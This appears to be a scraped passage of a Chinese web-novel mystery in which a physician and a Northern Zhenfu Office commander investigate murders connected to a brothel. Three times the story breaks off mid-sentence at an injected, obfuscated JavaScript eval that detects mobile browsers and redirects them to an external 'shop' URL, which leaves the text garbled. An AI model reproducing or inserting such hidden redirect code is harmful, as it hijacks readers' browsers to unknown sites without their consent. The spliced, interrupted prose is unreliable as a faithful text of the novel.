要是自己有很多很多钱就好了,能救一个是一个。 他熟门熟路地从一旁的桌子抽屉里取出一盒线香,拈出一根来在香炉里插好,又用火折子点了,能让人凝神静气的沉香气息便缓缓散发出来。 “你还年轻,总能为自己打算,用命赚来的钱要攥在自己手里,将来好赎身。”他温声道,“没事儿的时候多想想赚钱之道,念了那么多书识了那么些字,不是只为了装样子的。” 月临笑了笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427050|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “知道啦!我之前也跟着傲霜哥哥学赚钱呢,他背着妈妈在外边投了几间铺子,说是将来每年都可以收分红。” “铺子?”秦觅问道,“都是什么样的?” “有刺绣铺子,成衣铺子,都不大,老板都是女子,傲霜哥哥觉得她们能自己开店很不容易,便想着支持一下,而且,他说做生意的男子看不上我们这种人,不会与我们分羹,只有这些初出茅庐的女子们才会愿意合作。况且我们也不懂别的营生,刺绣、裁衣倒是略通一些,将来赎身之后也能做这一行。”少年如数家珍地说。 秦觅心念一转,继续问道:“可是这样的新铺子容易赔钱,傲霜的钱是不是亏了不少?” “没有啊,铺子在凤凰街,两个店主姐姐都心灵手巧,也很会做生意,之前去过一次,看着很不错呢,我跟着投了一点。”月临充满憧憬地说,“希望她们多多赚钱,我也多多拿分红,将来早一点赎身。” “可傲霜跟我说过,他有一部分钱拿去周转了,你知道是什么事吗?” 月临怔了怔:“这个我不知道。他都没跟你说,肯定不会跟我说了。” “那你们偷偷赚钱这事儿,寒柯入伙了吗?” “没有呢,傲霜哥哥怕知道的人多了容易传到妈妈那里,没敢告诉他。” 秦觅又问道:“这些日子,你有没有听说傲霜跟谁起过争执?除了孙老爷那次。” 月临从小几上的盘子里捏了颗葡萄,细长的手指剥着皮:“他脾气那么好,能跟谁吵架?别人跟他吵都吵不起来。” “你再想想呢?争执也算。”秦觅追问。 月临把剥好的葡萄塞进嘴里,腮帮鼓起了一个小包,若有所思:“好像……有一次,不知道算不算得上吵架。” 秦觅立刻道:“什么时候?” “大概他出事前七八天左右吧,我正为选院首的事儿闹心,怕不能当选,便去找他聊天解闷儿,那会儿是晚上,我去他门外正要敲门,就听里边他和别人说话。”月临一边回忆一边说。 那是个同样闷热的夏夜,他拿着扇子去了傲霜房间门外。 天气太热,没招待客人的房间都敞着门,见傲霜那里房门紧闭,他还以为孙老爷来了,便没敲门。 刚要走就听见里边传来说话的声音,声音很模糊,勉强能听清几句: “钱当然是用在重要的地方,我现在不急着赎身,所以先拿去做别的了。” “赎身我一定会赎的,只是得晚一阵子。” “不要着急好吗?答应你的事我一定会做到。” “我当时以为他在跟孙老爷说话,没多想就走了。”月临说,“后来再问他,他说那天孙老爷没来,但我也没多问。” 秦觅陷入了沉思。 有什么事,在傲霜看来,比赎身更重要? 是投那几间铺子吗?可是记得他钱已经攒够了,不耽误赎身,只是碍于跟孙老爷的矛盾才没行动。 谁这么期望他快点赎身? 傲霜赎身的想法是不会动摇的,那他所谓“答应你的事”,是对谁?又是什么事? 往来于东篱院的人很多,一时间很难确定他见的人是谁,但听这语气,应当是比较亲密的人。 会是凶手吗? 稍后秦觅陪月临吃过了午饭,少年还是提不起精神,也没什么食欲,动了几筷子就放下了。 勉强吃饭同样不好,他便给对方开了个滋补汤的方子,调理一下身体。 临走的时候,他叮嘱道:“一定要保证休息,晚上好好睡觉,要是下雨害怕,就喊陈茂过来陪你。” “好哦,我知道了,觅哥你没事就来看我啊。”月临殷切地说。 秦觅轻轻拍拍他的后脑勺,笑道:“放心。” 离开东篱院的时候,已经过了未时正,他回到一大早就被迫离开的家,脑子里乱七八糟地过着各种事儿,收拾早上没来得及整理的床铺。 看到眼前这一片凌乱,就想起早上被慕天知带走的情景,想到这个人,就不由地想,孙老爷那边,能查到什么呢? 13. 壹拾叁 好端端的中午,阳光灿烂,花红柳绿,孙宅里却一片鬼哭狼嚎。 正院里,慕天知端坐在一把玫瑰椅上,眸色冰凉地看着跪了一地的人。 他并没有使什么狠手段,只是北镇抚司的名头太响,镇抚使又亲临此处,把孙家上下吓得魂不守舍。 再听说自家老爷突然间变成了嫌犯,一屋子老老小小疯狂表示不可能,喊着“青天大老爷可要为我们做主啊”“我们老爷不可能买凶杀人”“大人您明察秋毫可不能错怪好人”,不管是男人还是女眷,全都跪在地上嚎啕大哭。 孙昶本人更是趴在地上直哆嗦,像是被抽了虾线似的,本来还算伟岸的身躯蜷成了一坨。 “大人明查,我不可能杀傲霜,我俩之间无冤无仇,平白无故我杀他做什么?”他一把鼻涕一把泪地哭道,“他就是个小倌儿,我犯得着为他背上人命官司、连累一大家子人吗?杀寒柯就更不可能了!他什么时候得罪过我,我早忘了!” 慕天知当然知道,这种精明的生意人不可能犯这种愚蠢的错误,但线索指到这里,必须得查。 他冷淡地开口:“在寒柯房中发现了你的衣服碎片,循例搜查,麻烦你配合。” 能看得出来,这些哭嚎的人并非真心伤感或者害怕,无非是虚张声势,想给他一些震撼。 “都别哭了!好好的号什么丧?不嫌晦气?!”站在慕天知身后的窦乾“哗”地将腰间佩刀抽出一半,明晃晃的刀身反射太阳光,闪了孙家人的眼,这帮人立刻噤若寒蝉。 庭院里总算安静下来。 孙宅的后边,梅淼和窦坤带着一队人马,正在挨个院子搜查。 慕天知看着趴在地上的孙昶,问道:“傲霜赎身的事儿,你是怎么想的?” “草民没、没什么想法!”孙昶头也不敢抬,满头大汗、声音颤抖地说,“草民其实早就想跟他断了,一个小倌而已,难道还真能有什么感情?” “见他不惜自己掏钱也要赎身,怕他缠着你、赖上你,所以你就让人杀了他?”慕天知音调不高,却透着一股子威严劲儿,“觉得他拎不清自己的身份,一个小倌儿当自己是清白人,所以就对他的尸身做了那些事,用来嘲讽他?” 他故意说这些话,无非是想讽刺这个明明有妻室、却还在外边包养小情儿的臭老登。 此人口口声声都在表达自己根本看不起傲霜,或许是有一半真心话,但主要目的是向妻子表明态度,免得此案了结却家宅不宁。 谁知道他又在傲霜面前甜言蜜语说过什么? 对于这种既要又要的人,慕天知当然不想让他得逞。 北镇抚司可没义务在他家人面前护着他那些丑事儿! 孙昶连连磕头:“没有!我昨晚才回城,身边的人都能作证,根本没见过傲霜!” “你昨晚人在哪里?有没有人能证明你没离开过家?”慕天知右腿架在左腿上,坐姿松弛,张口却不给他留余地,“为什么你的衣服碎片会出现在寒柯房间里?!是不是你让人杀了傲霜之后,觉得把人命攥在自己手里的感觉很过瘾,所以这次亲临现场,想看那个不可一世、连面子都不给你的小倌儿,在你面前痛哭流涕、苦苦哀求?!” “没有!我真的没有!我也不知道那片夜雾罗是怎么回事,这样的衣服我有好几件,现在真的想不起来了!”孙昶嚎哭道。 慕天知看着面前一排人:“为你打理衣服的丫鬟下人呢?老爷的贵重衣服,下人们应当记得清楚吧?” “回禀大人!我们真的记不得,家里收着的衣服都是好好的,没有破洞!”管家连忙道,“定是那寒柯还得罪了别的贵客,恰好那位贵客也买了夜雾罗,穿着出现在了现场,这才留下了碎片!” “夜雾罗这样贵重的衣料,售出是否有记录?” “有!有!草民一定让店铺掌柜整理好,送到北镇抚司!”孙昶忙不迭地说。 然而这个时候,梅淼的声音从后方传来:“大人,有发现!” 慕天知循声望去,就见她举着一坨黑乎乎的东西跑到了自己面前:“这是从孙昶住的院子花园里挖出来的!” 衣服上沾满了泥土,材质正是夜雾罗,拽出来的袍角上有着明显的缺口,被刮烂的边缘跟她手里那块碎片严丝合缝。 孙昶抬头看见这一幕,当即瘫软在地,双目无神,慌张地说:“不可能……不可能……我怎么不知道……” 窦坤随即赶到,拱手道:“禀大人,属下发现花园中有一片泥土明显被翻新过,便将其扒开,发现了这件跟现场碎片吻合的衣袍,定是孙昶昨夜从案发现场返回,见衣服破损,担心碎片留在现场,心虚将衣服埋了起来,试图蒙混过关!” “草民没有!真的没有!”孙昶大声道。 慕天知用佩刀刀鞘戳了戳他的肩膀:“你昨晚穿的,是不是这一件?” “不是这件!”孙昶立刻否认,“真的不是!不信可以问我的车夫和下人!” 窦乾冷声道:“他们都是你的人,自然会说对你有利的话,不足为信!” “我真的没有杀人!更没有买凶杀人!”孙昶急坏了,仰头道,“草民昨夜舟车劳顿回到曜京,先知道傲霜死讯,本就有些伤心,后适逢大雨,怎么可能出门?!没让任何人进我的院子,不过是想偷偷给他上一炷香,烧一点纸钱,到底他跟我许多年,我也不是那无情无义之人……至于寒柯,我已经几年没有踏入竹影阁,更早将他忘到脑后,若您不提,我都想不起有这个人,怎么会杀他?我真的不知道这衣服是什么时候破的,怎么又、又出现在花园里,请大人明鉴!” 慕天知站起身,双手负在身后,缓缓走近他,低头看着他的双眼:“果真如此?” “如果草民敢撒谎,定遭天打雷劈!”孙昶额头上缀满汗珠,与他四目相对,脸上除了害怕,还有笃定。 慕天知面无表情地直起身,对身边下属们吩咐道:“把他带回北镇抚司,派人守住孙宅,此案查清之前,一只苍蝇都不许飞出去!” 夜幕降临时,北镇抚司。 镇抚使大人办公邸的厅里支起了两大块被刷了黑漆的板子,板子上写了这次涉案人员的名字,并用白线画出了彼此的关联。 慕天知静静地端详着这幅“人物关系图”。 梅淼和窦坤站在他身后,和他一样摆出了抱着双臂、眉头微皱的姿势,还煞有介事地微微歪着头。 “大人!” 三人一起回头,便见窦乾和戚鸾音一起走进厅中。 窦乾拱手道:“又问了一些细节,孙昶承认,昨天他是穿了这件夜雾罗做的衣服,但绝对没去过竹影阁,到了东篱院得知傲霜死讯,想去对方房间凭吊,但因为有顺天府的差役看守,就没能进去,只在尸体停放过的树下站了一会儿,跟龟公陈茂聊了几句,没待多久就走了。” “再之后,就是返家路上跟那叫花子起了冲突,但他并没下车,动手的是他家的车夫,这桩小事儿没耽误多久,很快就继续上路了,路过杂货铺的时候买了一点黄表纸。回到家中已经很晚,便没惊动母亲和妻室,只回到了自己独居的院中,吃过饭、洗过澡之后,就没再让下人进入,偷偷给傲霜烧了纸。” “他一路舟车劳顿,觉得很累,很快就睡了,当时并没发现衣袍破损,脱下来丢在外边厅房里没管,第二天自会有人收拾,不知道怎么会出现在花园里。” 梅淼听后,好奇道:“他家下人去伺候老爷的时候,没找见换下来的衣服,不会觉得奇怪吗?” “奇怪是奇怪,但应该不至于会为这件事大惊小怪。”窦坤说。 慕天知沉吟道:“窦乾,安排人去找那个跟孙昶起了冲突的叫花子核实,这两天在暗中盯着他。” 窦乾抱拳道:“是。”说罢转身匆匆离去。 “大人,难道你觉得孙昶会让人把那个叫花子给——”梅淼做了个抹脖子的动作。 慕天知意味深长道:“孙昶有没有安排人去做不好说,但真凶可能会。” 如果是栽赃的话,那就更会了。 他转头问站在一边的戚鸾音:“有什么发现?” “先前我们发现寒柯嘴巴曾被人暴力掰开过,大人不是推测他可能吞掉了什么东西吗?果然有发现。”戚鸾音打开手里捏着的小木盒,“这是从寒柯胃里找到的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427051|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梅淼探头一看:“又是布片?” 木盒之上,放着一块皱皱巴巴的深色碎片,比那夜雾罗碎片大上一圈,颜色介于黑色与灰色之间,看起来脏兮兮的。 慕天知拿起来端详,捏了捏它的质地:“厚实的粗布,不管是用在什么上边,使用时间应该不短,磨损痕迹明显。”目光锁定在边缘一处,“其他的断裂处像是自然断开,毛边都已经被磨平,只有这一块边缘像是新鲜断裂——这很合理,这么厚实的布,不太能轻易整块咬下来,显然是本来就摇摇欲坠,寒柯在挣扎中才有可能一下子把它咬掉。” “大人说得有理!”窦坤附和道,“但这料子这么厚,天这么热,谁会穿这样的衣服?就算是穷人家,至少能穿透气的麻衣。” 戚鸾音道:“大人先前认为,凶手杀害死者的时候是戴了手套的,我认为这块布片正是出自手套,因为这布料不仅厚实,表面应当刷过桐油,我试了一下,它不透水。” “不想被死者抓伤,戴副普通的布手套就行了,为什么要戴一副破旧的、又不透水的手套?”梅淼好奇道。 窦坤想了想:“难道是顺手拿了常用的?” “有这个可能。”慕天知沉吟道,“凶手买凶杀人,未必找的是杀手,可能是孔武有力、敢动手的力气人,比如屠夫、力工等人,他们应当是拿了自己平时干活所用的手套,手套上的布料会有磨损也正常。” 梅淼端详着那块布片,嘀咕道:“这样也很难找啊,大海捞针似的。” “还有,这块布虽然在寒柯的胃里待过,但只待了很短的时间,应该是最大限度保持了它原本的样子。”戚鸾音道,“这上边有一股淡淡的臭味儿。” 梅淼立刻把布片凑到窦坤鼻子下边:“你闻闻。” 她动作很快,窦坤躲避不急,一下子吸了个正着,捂着鼻子向后一躲,恼火道:“梅三水!” “怎么样?是什么味儿?”梅淼笑嘻嘻地问。 窦坤皱着眉:“就是臭,还能有什么味儿?!” 戚鸾音则给出了自己的判断:“很像是粪便的味道。” “这样也很难缩小可疑人群,种田的农夫会用粪水做肥料,倒夜香的、家里的小厮也都可能准备类似的手套,养殖猪牛羊的农户亦是如此。”慕天知淡淡道,“证据先放一边,留作佐证,我认为,还是要从傲霜这边的人际关系入手,他是幕后指使者杀的第一个人,也很可能是刺激点,由于杀了傲霜,此人尝到了胜利的滋味,才会开始进行第二次杀戮。” 梅淼点头道:“对对对,而且傲霜这边的线索是最多的。” “跟钱财有关的事总会引发冲突,冲突会导致命案,窦坤,你带人去查一下傲霜那些钱财的去向,弄清楚到底是什么重要的事,让他选择暂时放弃赎身。或许他被杀,跟赎身一事有关系。”慕天知下令道,“梅淼,今天搜孙府,主要找的是容易辨认的夜雾罗,你再带人去仔细检查一遍孙昶所有的衣物及饰品,看看有没有跟那颗在傲霜房间发现的珍珠能匹配上的。” 窦坤和梅淼齐齐抱拳:“属下遵命!” “诶?秦秀才不来了吗?”戚鸾音突然道,“我觉得他对查案还挺有一套的。” 慕天知:“……” 此时的秦秀才,背着自己的药箱,出现在了凤凰街上。 他很快找到了从月临那里问到的两家铺子,一间刺绣铺,一间成衣铺,门脸都不大,此刻刚过戌时初,顾客络绎不绝,生意的确算是兴旺,难怪傲霜应承月临,说不会赔钱。 秦觅先去了刺绣那间,进门后左右打量一番,看到店面里摆放出来的绣品,的确是手艺上佳,比那些大的绣坊都不差,再询问价格,竟是便宜一半,难怪生意不错。 他看向店内一角一位三十出头的妇人,从对方的言谈举止中判断,那位就是店主。 店内顾客多为女客,是以迎客的店小二也是女子,见他一个男人背着药箱前来,一个姑娘好奇地迎了过来:“这位郎中,请问您要买什么绣品吗?送娘子还是心上人?” 秦觅露出了温和良善的笑容:“不知你家老板是否得闲?在下是受傲霜公子所托前来。” 14. 壹拾肆 “傲霜公子?他不是……”姑娘怯怯地看向那角落里的妇人。 店铺本不大,妇人明显听到了他们的对话,对“傲霜”的名字也很敏感,闻言立刻转头看过来,随即走到两人面前。 秦觅先恭恭敬敬地向她作了个揖:“这位夫人,在下秦觅,是名郎中,常为傲霜公子调养身体,此前他曾提及夫人身子多有不适,畏寒、手脚冰凉,乃至胁肋胀痛,希望在下前来为夫人诊治,今天终于抽出时间,来完成公子的……遗愿。” 病症并非他胡说来碰运气的,操劳过度本就是生意人的常态,再端详这妇人的面色,心中便笃定她会有这样的症状。 果然,听到他的描述时,妇人便忍不住轻轻点头,“遗愿”二字一出,她更是明显动容,转身指向内堂:“郎中请随我来。” 内堂不大,是用来与人私聊的地方,简单而雅致,两人在圆桌边坐下,秦觅从药箱里掏出脉枕,放在桌面上,做了个“请”的手势。 他温声问道:“傲霜公子没有透露夫人姓氏,不知您如何称呼?” “我姓梁,叫我梁夫人便是,夫家姓石,只可惜去得早,留下我孤儿寡母,为了谋生,便用了剩下的一点钱,开了这家刺绣铺子。”做生意的人都快人快语,梁夫人更是如此,她将手腕放在脉枕上,神情黯然道,“小本生意经营不易,幸好遇上了傲霜公子愿意与我合作,谁知道他年纪轻轻竟遭此横祸……” 看来两人私交也不错,她说着说着便哽咽起来,拿帕子轻轻擦了擦眼角。 秦觅劝道:“梁夫人,您过于操劳,有肝郁脾虚之征,平日里应当多休息,少忧思,现在更要节哀顺变,公子在天之灵也希望看到您的生意能越来越好,过上更好的生活。” 梁夫人轻轻点头:“多谢郎中。” “身体是需要调理,但无大恙,夫人放心。”秦觅借了一旁桌上的笔墨纸砚,写起方子来,“我为您留一副汤药,按方抓药先喝上一阵看看效果,之后若是想找我,便去胭脂巷那边的长青街,找秦宅便好,若是家中无人,可以留个字条,我回来看到,便会主动前来。” “那可太好了!不知郎中您诊金多少?”梁夫人从袖中摸出钱袋。 秦觅连忙道:“在下是受托前来,怎么能收诊金,以后再说吧。” “也罢,我就不跟您掰扯了,将来需要什么绣品,尽管来我店里随意挑选。”梁夫人笑道。 秦觅笑着点头:“那在下先谢过夫人。”随即深深叹了一口气,“只希望北镇抚司能尽快告破这桩案子,让傲霜公子在天之灵能够安息。” “这案子交到北镇抚司了吗?”梁夫人惊讶道,“竟如此严重?” “是啊,听说那位少阎罗大人正在加紧追查,像是要从公子掌握的钱财入手,若是有都衍卫来问夫人的话,你不用慌张,如实回答就是。”秦觅宽慰她道。 梁夫人立刻道:“我自然是不慌张的,我与公子合伙,契约印鉴俱在,不怕查。” “不知夫人是如何与公子相识的?中间是否有人牵线?”秦觅试探地问道。 或许是他面相太善、待人太过亲切,亦或者是假借诊病拉近关系这方法实在管用,梁夫人不疑有他,竹筒倒豆子般地问什么答什么:“没有,就是一日他突然来店里转了几圈,便问我需不需要有人入股,接着坦诚相待,毛遂自荐了一番。听了他的情况,我当即就动了心,有送上门来的财神爷怎么可能往外推?!女子行商本就不易,但傲霜公子身份特殊,我既不用怕他算计我,也不怕他会惦记我,与他合伙,比跟其他人要放心得多。” “这倒是,他一看就是信得过的人。”秦觅附和道。 梁夫人更是爽快道:“我知道他是想多赚些赎身钱,就又拉了前边那家成衣铺的方姑娘。那姑娘自己开个铺子不容易,但她真的心灵手巧,做的衣裳好看又耐穿,顾客盈门,急需扩大店面,也有不少人想入伙,但她都信不过,正好跟傲霜公子也聊得投缘,就又成了一桩美事。” “这可真是太好了,夫人您是热心人,一定会有好报的。”秦觅笑笑,“傲霜公子也总同我说想要尽快赎身,去过正常人的日子,本来听说钱凑够了的,可不知怎么的又耽搁了。” 梁夫人攥着手绢的手轻轻一拍桌子:“这事儿我知道,是他听说有个朋友家里出了些事情,急需一些钱周转,便借了出去,就因为此事,本来要给方姑娘的入股钱还减了一些,说等着周转过来再补上。” “朋友?”秦觅疑惑道,“是什么朋友?我问过他,他有些闪烁其词,当时我便没多问。” 梁夫人这会儿略显犹豫,绞着手绢欲言又止。 秦觅叹息道:“估计是他怕告诉我,我会阻止他,看来那位事主不是个能信得过的人。” “这倒不是,应该是怕您知道了,会走漏消息。” “怎会有如此担心?难道我认识那位?” “这么说吧,郎中您常去东篱院,应该认识傲霜公子想帮的那个人,他是为了那人,才借钱出去的,但又不想那人知道。” 秦觅装作有些迷糊的样子:“让我理一理,就是说,公子他想帮身边的一位某甲,才把自己的钱借给了跟此人有关系的某乙,但他并没有告诉某甲,是吗?” “对,我还怕我说不清楚,幸好郎中您聪明。”梁夫人笑道。 “原来如此。”秦觅表现得恍然大悟,随即又问,“那位某甲可能是谁呢?” 梁夫人摇头:“我也不太清楚,就知道这位某乙是庆平某乡人,钱是要用来修祠堂的,其实我听了之后有些担心,怕这钱说是借,其实就是给,很有可能打水漂,但傲霜公子不在乎,说赎身的事可以缓一缓,但这件事他必须要帮。唉,他可真是个有情有义的好人。” “是啊,希望他能够早日转世,投胎到一户好人家。”秦觅道。 梁夫人突然又道:“郎中,傲霜公子已经不在了,他的分红该怎么处理?我哪好意思自己吞了这笔钱。” “他无父无母,孤身在这世上,想来也没什么牵挂之人,等凶手落网,若官府没有说法,夫人可以拿那些钱去庙里给他供个长生牌位,其余的钱做些善事便好,算是为他积功德了。”秦觅笑道。 离开凤凰街,他有些心神不宁。 那位来自庆平某乡的某乙,到底是谁? 庆平,这个地方听着耳熟,印象里好像有个人,也来自此地。 可这人若是全然不知此事,应该不会跟命案有关系吧? 这一天得了不少七头八脑的线索,可是没有一条能连成线,孙老爷那边秦觅根本不考虑,笃定此人就是幕后真凶抛出来的替死鬼。 就算勉强说孙老爷想跟傲霜一刀两断没能断成,愤而杀人,可寒柯的死实在和他扯不上关系。 秦觅依旧觉得,在北镇抚司冰窖里自己的那番分析没有问题,只是缺乏证据支持罢了。 呵,慕天知你个大笨蛋,去查孙昶是吧,肯定要多走弯路的,回头不要哭着来找我! 耗尽了心神也耗尽了体力,回到家匆匆洗漱后,秦觅便昏昏沉沉地睡去。 这一夜没有下雨,晚上还有一点小凉风,或许是个平安的夜晚。 然而第二天,还在美梦中畅游的他便被无法忽视的敲门声给吵醒了。 “砰砰砰”“砰砰砰”,拍门声急促又大声。 被拍响的不是院门,而是厅房门,人都不把自己当外人地进了院,还在这儿装什么装? 不用想都知道是谁。 “谁?!”秦觅恼火地大吼一声。 拍门声戛然而止,外边传来一个熟悉的声音:“我。” 冷淡威严,跟拍门声气质完全不一样。 秦觅深深叹了口气,下床趿拉着鞋子出去开门。 “哗啦”一声,慕天知眼前的房门被拉开,从这动静上就可以判断,此人心情实在不好。 果然,那位俊俏的秦秀才此刻满脸乌云压顶,不爽地看着自己,质问道:“镇抚使大人是不是跑顺腿了?还是想同我再春风一度?不好意思,我虽未再进学,但好歹也是个秀才,不会做白日宣淫之事!” 虽然不知现在时辰几何,但从天色和周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17427052|200885||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围的寂静程度也能判断出来,此时为时尚早。 邻居家的鸡都没叫呢! 看来自己不用养猫,而是该养只恶犬,见人就咬的那种! 秦觅愤愤地想。 慕天知瞥见他发髻微乱,穿了一件很薄的中衣,腰带没来得及系好,领口快开到小腹,露出又白又瘦的胸口,窄窄的腰线隐在衣裳的走向之中,不由想起那天握在手中的感觉。 努力把眼神挪到对方脸上,那满脸怨气的模样和阴阳怪气的发言又显得整个人生动极了,好看又可爱,像某种奶凶奶凶的小动物。 此人是自己喜欢的类型,脸和身体都是,现在滴酒未沾、十分清醒,慕天知非常确定。 实在不该再找上门来的。 但…… 鬼使神差。 也不完全是。 “又发生了一起命案。”慕天知淡淡地说。 秦觅还想骂人,正在脑子里挖词儿,被他这句话堵了回去。 怔了怔又问:“又被我说中了?我又被当成凶嫌了?这次我可没说作案方式啊!死者是谁?” 他歪了歪头,从面前人高马大的镇抚使大人身侧望过去,发现院门口没有别人:“没带人来?” “没人把你当成凶嫌,只有我本人过来,不是抓你,只是请教你。”慕天知说,“我记得你说过,那位指使者,可能要抛开他用得趁手的这把刀,他的确这么做了。” 秦觅眨了眨眼睛,忽然想到了什么:“那个跟孙老爷发生冲突的叫花子死了?” “是死了一个叫花子。”慕天知意味深长道,“但是不是跟孙昶发生过冲突的那个,不太好说。” “你在说什么?死的叫花子不是张四吗?” “问过更夫,死者是张四没错。” 秦觅又要发火了,眯起眼睛看着他。 慕天知莫名地感觉到了愉悦。 但在真的把人惹毛之前,他开口解释:“昨晚扣押了孙昶,我派人去盯着前夜与他起过冲突的那个叫花子,根据他车夫的描述还有当天目击者的证词,确认此人叫郑二,我的人盯了他一晚上都平安无事,早上死的却是张四。” “张四没惹孙老爷,却被杀了?”秦觅脑子飞快开始转动。 慕天知问道:“方才你一下就说出了张四的名字,是怎么知道的?与他有过接触?” “没有,是昨天你们走后陈茂说的,说他是个老赖皮,喜欢缠着人要钱,可能他先入为主猜错了。”秦觅又问,“这个郑二也是这种人吗?他在哪里乞讨?确定是他没错?” 慕天知认真回答他的问题:“郑二确实缠着孙昶要过钱,已经从孙家带来了车夫去辨认,两人都认出了对方,此人的确是琉璃街的老赖皮。而死者张四,也是个同样的货色,不过盘踞的地方在两条街之外,是百花南街。” “所以这是怎么回事?”秦觅不知是自言自语还是问他,“凶手杀错人了?”看看院子的地面,“昨晚也没下雨,作案手法变了?” 慕天知端详了他片刻,问道:“秦秀才打算就这样同我探讨案情?” “哦?我又有资格同你探讨了是吗?”秦觅还记得昨天此人过河拆桥的嘴脸,阴阳怪气道,“现在是大人不在乎我的危险了,还是北镇抚司缺人手了?” 慕天知勾起唇角:“是我赏识你的聪明才智,愿意集思广益,这样的回答可否让你满意?” “不满意,我并不在乎被你赏识,不想被镇抚使大人的气势压制。”秦觅绷着脸说。 “这样啊。”慕天知侧了侧身,让出一条路,“那就麻烦秦秀才同我走一趟,去北镇抚司住两天,现在案件越发扑朔迷离,你了解太多内情,本官担心你对外胡说八道,打草惊蛇,让真凶提前逃跑,只能先将你严加看管。” “你们北镇抚司是无赖吗?”秦觅咬牙切齿地问。 慕天知莞尔,耸了耸肩:“敝司名声的确不太好。” 秦觅:“……” “好,行,我与你聊,但现在我要洗漱,你,去给我买早饭!”秦秀才毫不客气地大声道。 15. 壹拾伍 看到镇抚使大人乖乖骑马离去,秦觅心情大好,方才那点儿邪火也消了下去,赶紧打水洗漱换衣服。 等到一切整理完毕,再看到厅房桌上摆着的琳琅满目的各色食物,他心情更加舒畅。 镇抚使大人出手大方,买来的都是附近比较不错的早点,满满一大桌子,足够三四个人吃。 “秦秀才可还满意?”慕天知的佩刀横放在桌边,自己负手站在一旁,彬彬有礼地问。 秦觅把头上垂下来的发带往身后一撩,拉开坐墩坐下,并向他做了个“请”的手势:“大人很会买,这次不用我点菜,也买到我心坎儿里了。” “揣摩秀才的心思并不难。”慕天知在他旁边坐下,夹起一只新鲜出锅的炸糕放到他面前的碗中,“上次看出你嗜甜和油炸食物,也很喜欢小笼包;豆腐脑更是心头好,因为是所有食物当中吃得最多的。酸辣汤就差些,或许不太能吃辣。” 确实观察力不错,秦觅心里评价道。 他咬了一口香喷喷的炸糕,又问:“外面那条街上卖早点的那么多,你如何知道哪家好吃?” 慕天知无语地看了他一眼:“想必秀才明白门庭若市和门可罗雀两个词之间的区别。” “那你回来得还挺快的。”秦觅舀起一勺豆腐脑,吸溜了一小口。 “我这身公服有时候可以免去很多麻烦。” 秦觅觑了他那件黑色的曳撒,“哦”了一声:“仗势欺人光彩吗?” “光不光彩,这次都拜秦秀才所赐。”慕天知似笑非笑,“秀才作为既得利益者,确定要打自己的脸?” 秦觅便不出声了,低头边吃边琢磨。 慕天知一晚上都是在北镇抚司睡的,天还没亮就被前来报信的下属给叫醒,直接去了案发现场,折腾完一圈,肚子也是饿的,这会儿大口往嘴里塞着小笼包,眼睛却片刻没离开过眼前秀才的脑壳。 似乎又听到了转动声。 他当然不是无计可施才来找秦觅,没有这秀才他也能破案,但很有兴趣听听对方的想法。 “这个张四怎么死的?能确定跟前两名死者是死在同一人手里吗?”秦觅吃完了炸糕,抬头问道。 饭还没吃完,他就没顾上擦嘴,颜色有些深的嘴唇沾了油脂,更显得饱满圆润,恍惚间,慕天知的脑海里就出现了那晚自己低头吻下去的画面。 继而意识到,这好像是继那天之后,两人第一次独处。 先是床上被翻红浪,现在又一起吃早点,好像过于亲密了。 他抿了抿唇,抛开脑中杂念,回答道:“虽然没下大雨,也没有被扒光衣服,但从死者的尸体摆放逻辑能看出来,应当是同一凶手所为。” 天蒙蒙亮的时候慕天知赶到出事的百花南街,案发现场被下属已经围了起来,有一个更夫面色惊惧地站在一旁,跟一个校尉说话。 见他抵达,那校尉立刻来报:“禀大人,尸体是被这位更夫发现的,他说没有挪动过,死状就是这样。” 死者上半身被脱光,露出来的皮肤上有被人殴打过的痕迹,裤子还穿在身上,脚上的鞋掉在旁边,双手高举过头顶,头歪向一边。 戚鸾音就蹲在他的脑袋旁边检查尸体:“死者死前曾经被暴打了一顿。”她戴着麻布手套,轻轻地按压死者脸上和胸口上的皮肤,又落在他颈间的勒痕上,并从脖颈处捡起了几根细草,“脖颈有勒痕,仍旧用的是草绳。” 她隔着裤子,在死者的魄门处按了按:“这里没有被塞东西。” “等等。”时空拉回秦宅厅堂中,秦觅打断慕天知的描述,“只是被打伤吗?这么暴力伤人,最后还只是把人勒死?” “不是。”慕天知看着他,思绪又回到了现场。 他绕过戚鸾音,看到了死者,此人歪向一边的半个头几乎被砸烂了,血流满地。 “根据流血的状况初步判断,死者是被殴打致死,不知何故,凶手之后又用草绳狠狠勒了他片刻。”戚鸾音双手扳正了那颗脑袋,表情震惊,“死者口中被塞满了碎石块。” 